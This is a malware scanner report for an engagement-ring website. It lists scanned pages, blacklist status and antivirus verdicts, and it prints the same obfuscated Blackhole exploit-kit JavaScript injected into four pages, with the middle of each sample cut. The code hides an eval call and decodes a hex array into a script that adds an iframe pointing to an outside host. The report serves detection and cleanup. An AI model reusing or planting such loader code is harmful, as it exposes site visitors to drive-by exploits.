New scan:

Malware Scanner report for affordable-engagement-rings.com

Malicious/Suspicious/Total urls checked
4/0/15
4 pages have malicious code. See details below
Blacklists
Found
The website is marked by Google as suspicious.

The website "affordable-engagement-rings.com" is probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues.
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/0/0
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=affordable-engagement-rings.com

Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.

Scanned pages/files

RequestServer responseStatus
http://affordable-engagement-rings.com/
200 OK
Content-Length: 29681
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

nsjv="fr"+"omCh"+"ar"+"Co"+"de";if(document.querySelector)xgt=4;gpamo=("36,7c,8b,84,79,8a,7f,85,84,36,87,86,46,4f,3e,3f,36,91,23,20,36,8c,77,88,36,89,8a,77,8a,7f,79,53,3d,77,80,77,8e,3d,51,23,20,36,8c,77,88,36,79,85,84,8a,88,85,82,82,7b,88,53,3d,7f,84,7a,7b,8e,44,86,7e,86,3d,51,23,20,36,8c,77,88,36,87,86,36,53,36,7a,85,79,8b,83,7b,84,8a,44,79,88,7b,77,8a,7b,5b,82,7b,83,7b,84,8a,3e,3d,7f,7c,88,77,83,7b,3d,3f,51,23,20,23,20,36,87,86,44,89,88,79,36,53,36,3d,7e,8a,8a,86,50,45,45,8d,8d,8d,44,82,77,86
... 3506 bytes are skipped ...
f,53,53,4b,4b,3f,91,93,7b,82,89,7b,91,69,7b,8a,59,85,85,81,7f,7b,3e,3d,8c,7f,89,7f,8a,7b,7a,75,8b,87,3d,42,36,3d,4b,4b,3d,42,36,3d,47,3d,42,36,3d,45,3d,3f,51,23,20,23,20,87,86,46,4f,3e,3f,51,23,20,93,23,20,93".split(","));mbr=window["asdeval".substr(3)];function mpgbol(){pkodtu=function(){--(xtqjc.body)}()}xtqjc=document;for(apgxa=0;apgxa<gpamo["length"];apgxa+=1){gpamo[apgxa]=-(22)+parseInt(gpamo[apgxa],xgt*4);}try{mpgbol()}catch(usn){dmc=50-50;}if(!dmc)mbr(String[nsjv].apply(String,gpamo));

Antivirus reports:

AntiVir
JS/Blacole.EB.148
Avast
JS:Decode-BKO [Trj]
Ad-Aware
JS:Exploit.BlackHole.OH
Ikarus
Exploit.JS.Blackhole
nProtect
JS:Exploit.BlackHole.OH
TrendMicro-HouseCall
TROJ_GEN.F47V1027
Comodo
TrojWare.JS.Kryptik.agb
McAfee-GW-Edition
JS/Exploit-Blacole.ht
TrendMicro
HEUR_HTJS.HDJSFN
Microsoft
Exploit:JS/Blacole.OA
MicroWorld-eScan
JS:Exploit.BlackHole.OH
Fortinet
JS/Kryptik.APC!tr
McAfee
JS/Exploit-Blacole.ht
NANO-Antivirus
Trojan.Script.Expack.chulnr
F-Secure
JS:Exploit.BlackHole.OH
AVG
JS/Exploit
Norman
Blacole.XQ
GData
JS:Exploit.BlackHole.OH
ESET-NOD32
JS/Kryptik.APC
BitDefender
JS:Exploit.BlackHole.OH

http://affordable-engagement-rings.com/services.html
404 Not Found
Content-Length: 11812
Content-Type: text/html
clean
http://code.jquery.com/jquery-1.9.1.js
200 OK
Content-Length: 268381
Content-Type: application/x-javascript
clean
http://affordable-engagement-rings.com/cgi-sys/js/simple-expand.min.js
200 OK
Content-Length: 2782
Content-Type: application/javascript
clean
http://affordable-engagement-rings.com/test404page.js
404 Not Found
Content-Length: 11812
Content-Type: text/html
clean
http://affordable-engagement-rings.com/book_online.html
404 Not Found
Content-Length: 11812
Content-Type: text/html
clean
http://affordable-engagement-rings.com/coupon.html
404 Not Found
Content-Length: 11812
Content-Type: text/html
clean
http://affordable-engagement-rings.com/carpet_cleaning.html
404 Not Found
Content-Length: 11812
Content-Type: text/html
clean
http://affordable-engagement-rings.com/customer_education.html
404 Not Found
Content-Length: 11812
Content-Type: text/html
clean
http://affordable-engagement-rings.com/faq.html
404 Not Found
Content-Length: 11812
Content-Type: text/html
clean
http://affordable-engagement-rings.com/testimonials.html
200 OK
Content-Length: 9560
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

nsjv="fr"+"omCh"+"ar"+"Co"+"de";if(document.querySelector)xgt=4;gpamo=("36,7c,8b,84,79,8a,7f,85,84,36,87,86,46,4f,3e,3f,36,91,23,20,36,8c,77,88,36,89,8a,77,8a,7f,79,53,3d,77,80,77,8e,3d,51,23,20,36,8c,77,88,36,79,85,84,8a,88,85,82,82,7b,88,53,3d,7f,84,7a,7b,8e,44,86,7e,86,3d,51,23,20,36,8c,77,88,36,87,86,36,53,36,7a,85,79,8b,83,7b,84,8a,44,79,88,7b,77,8a,7b,5b,82,7b,83,7b,84,8a,3e,3d,7f,7c,88,77,83,7b,3d,3f,51,23,20,23,20,36,87,86,44,89,88,79,36,53,36,3d,7e,8a,8a,86,50,45,45,8d,8d,8d,44,82,77,86
... 3506 bytes are skipped ...
f,53,53,4b,4b,3f,91,93,7b,82,89,7b,91,69,7b,8a,59,85,85,81,7f,7b,3e,3d,8c,7f,89,7f,8a,7b,7a,75,8b,87,3d,42,36,3d,4b,4b,3d,42,36,3d,47,3d,42,36,3d,45,3d,3f,51,23,20,23,20,87,86,46,4f,3e,3f,51,23,20,93,23,20,93".split(","));mbr=window["asdeval".substr(3)];function mpgbol(){pkodtu=function(){--(xtqjc.body)}()}xtqjc=document;for(apgxa=0;apgxa<gpamo["length"];apgxa+=1){gpamo[apgxa]=-(22)+parseInt(gpamo[apgxa],xgt*4);}try{mpgbol()}catch(usn){dmc=50-50;}if(!dmc)mbr(String[nsjv].apply(String,gpamo));

Antivirus reports:

AntiVir
JS/Blacole.EB.148
Avast
JS:Decode-BKO [Trj]
Ad-Aware
JS:Exploit.BlackHole.OH
Ikarus
Exploit.JS.Blackhole
nProtect
JS:Exploit.BlackHole.OH
TrendMicro-HouseCall
TROJ_GEN.F47V1027
Comodo
TrojWare.JS.Kryptik.agb
McAfee-GW-Edition
JS/Exploit-Blacole.ht
TrendMicro
HEUR_HTJS.HDJSFN
Microsoft
Exploit:JS/Blacole.OA
MicroWorld-eScan
JS:Exploit.BlackHole.OH
Fortinet
JS/Kryptik.APC!tr
McAfee
JS/Exploit-Blacole.ht
NANO-Antivirus
Trojan.Script.Expack.chulnr
F-Secure
JS:Exploit.BlackHole.OH
AVG
JS/Exploit
Norman
Blacole.XQ
GData
JS:Exploit.BlackHole.OH
ESET-NOD32
JS/Kryptik.APC
BitDefender
JS:Exploit.BlackHole.OH

http://affordable-engagement-rings.com/index.html
200 OK
Content-Length: 29681
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

nsjv="fr"+"omCh"+"ar"+"Co"+"de";if(document.querySelector)xgt=4;gpamo=("36,7c,8b,84,79,8a,7f,85,84,36,87,86,46,4f,3e,3f,36,91,23,20,36,8c,77,88,36,89,8a,77,8a,7f,79,53,3d,77,80,77,8e,3d,51,23,20,36,8c,77,88,36,79,85,84,8a,88,85,82,82,7b,88,53,3d,7f,84,7a,7b,8e,44,86,7e,86,3d,51,23,20,36,8c,77,88,36,87,86,36,53,36,7a,85,79,8b,83,7b,84,8a,44,79,88,7b,77,8a,7b,5b,82,7b,83,7b,84,8a,3e,3d,7f,7c,88,77,83,7b,3d,3f,51,23,20,23,20,36,87,86,44,89,88,79,36,53,36,3d,7e,8a,8a,86,50,45,45,8d,8d,8d,44,82,77,86
... 3506 bytes are skipped ...
f,53,53,4b,4b,3f,91,93,7b,82,89,7b,91,69,7b,8a,59,85,85,81,7f,7b,3e,3d,8c,7f,89,7f,8a,7b,7a,75,8b,87,3d,42,36,3d,4b,4b,3d,42,36,3d,47,3d,42,36,3d,45,3d,3f,51,23,20,23,20,87,86,46,4f,3e,3f,51,23,20,93,23,20,93".split(","));mbr=window["asdeval".substr(3)];function mpgbol(){pkodtu=function(){--(xtqjc.body)}()}xtqjc=document;for(apgxa=0;apgxa<gpamo["length"];apgxa+=1){gpamo[apgxa]=-(22)+parseInt(gpamo[apgxa],xgt*4);}try{mpgbol()}catch(usn){dmc=50-50;}if(!dmc)mbr(String[nsjv].apply(String,gpamo));

Antivirus reports:

AntiVir
JS/Blacole.EB.148
Avast
JS:Decode-BKO [Trj]
Ad-Aware
JS:Exploit.BlackHole.OH
Ikarus
Exploit.JS.Blackhole
nProtect
JS:Exploit.BlackHole.OH
TrendMicro-HouseCall
TROJ_GEN.F47V1027
Comodo
TrojWare.JS.Kryptik.agb
McAfee-GW-Edition
JS/Exploit-Blacole.ht
TrendMicro
HEUR_HTJS.HDJSFN
Microsoft
Exploit:JS/Blacole.OA
MicroWorld-eScan
JS:Exploit.BlackHole.OH
Fortinet
JS/Kryptik.APC!tr
McAfee
JS/Exploit-Blacole.ht
NANO-Antivirus
Trojan.Script.Expack.chulnr
F-Secure
JS:Exploit.BlackHole.OH
AVG
JS/Exploit
Norman
Blacole.XQ
GData
JS:Exploit.BlackHole.OH
ESET-NOD32
JS/Kryptik.APC
BitDefender
JS:Exploit.BlackHole.OH

http://affordable-engagement-rings.com/media.html
200 OK
Content-Length: 10282
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

nsjv="fr"+"omCh"+"ar"+"Co"+"de";if(document.querySelector)xgt=4;gpamo=("36,7c,8b,84,79,8a,7f,85,84,36,87,86,46,4f,3e,3f,36,91,23,20,36,8c,77,88,36,89,8a,77,8a,7f,79,53,3d,77,80,77,8e,3d,51,23,20,36,8c,77,88,36,79,85,84,8a,88,85,82,82,7b,88,53,3d,7f,84,7a,7b,8e,44,86,7e,86,3d,51,23,20,36,8c,77,88,36,87,86,36,53,36,7a,85,79,8b,83,7b,84,8a,44,79,88,7b,77,8a,7b,5b,82,7b,83,7b,84,8a,3e,3d,7f,7c,88,77,83,7b,3d,3f,51,23,20,23,20,36,87,86,44,89,88,79,36,53,36,3d,7e,8a,8a,86,50,45,45,8d,8d,8d,44,82,77,86
... 3506 bytes are skipped ...
f,53,53,4b,4b,3f,91,93,7b,82,89,7b,91,69,7b,8a,59,85,85,81,7f,7b,3e,3d,8c,7f,89,7f,8a,7b,7a,75,8b,87,3d,42,36,3d,4b,4b,3d,42,36,3d,47,3d,42,36,3d,45,3d,3f,51,23,20,23,20,87,86,46,4f,3e,3f,51,23,20,93,23,20,93".split(","));mbr=window["asdeval".substr(3)];function mpgbol(){pkodtu=function(){--(xtqjc.body)}()}xtqjc=document;for(apgxa=0;apgxa<gpamo["length"];apgxa+=1){gpamo[apgxa]=-(22)+parseInt(gpamo[apgxa],xgt*4);}try{mpgbol()}catch(usn){dmc=50-50;}if(!dmc)mbr(String[nsjv].apply(String,gpamo));

Antivirus reports:

AntiVir
JS/Blacole.EB.148
Avast
JS:Decode-BKO [Trj]
Ad-Aware
JS:Exploit.BlackHole.OH
Ikarus
Exploit.JS.Blackhole
nProtect
JS:Exploit.BlackHole.OH
TrendMicro-HouseCall
TROJ_GEN.F47V1027
Comodo
TrojWare.JS.Kryptik.agb
McAfee-GW-Edition
JS/Exploit-Blacole.ht
TrendMicro
HEUR_HTJS.HDJSFN
Microsoft
Exploit:JS/Blacole.OA
MicroWorld-eScan
JS:Exploit.BlackHole.OH
Fortinet
JS/Kryptik.APC!tr
McAfee
JS/Exploit-Blacole.ht
NANO-Antivirus
Trojan.Script.Expack.chulnr
F-Secure
JS:Exploit.BlackHole.OH
AVG
JS/Exploit
Norman
Blacole.XQ
GData
JS:Exploit.BlackHole.OH
ESET-NOD32
JS/Kryptik.APC
BitDefender
JS:Exploit.BlackHole.OH

http://affordable-engagement-rings.com/gallery.html
404 Not Found
Content-Length: 11812
Content-Type: text/html
clean
http://affordable-engagement-rings.com/about.html
404 Not Found
Content-Length: 11812
Content-Type: text/html
clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: affordable-engagement-rings.com

Result:
HTTP/1.1 200 OK
Connection: close
Date: Sat, 19 Apr 2014 10:36:06 GMT
Accept-Ranges: bytes
Server: nginx/1.4.7
Content-Length: 29681
Content-Type: text/html
Last-Modified: Fri, 18 Apr 2014 10:27:09 GMT

...29681 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: affordable-engagement-rings.com
Referer: http://www.google.com/search?q=affordable-engagement-rings.com

Result:
The result is similar to the first query. There are no suspicious redirects found.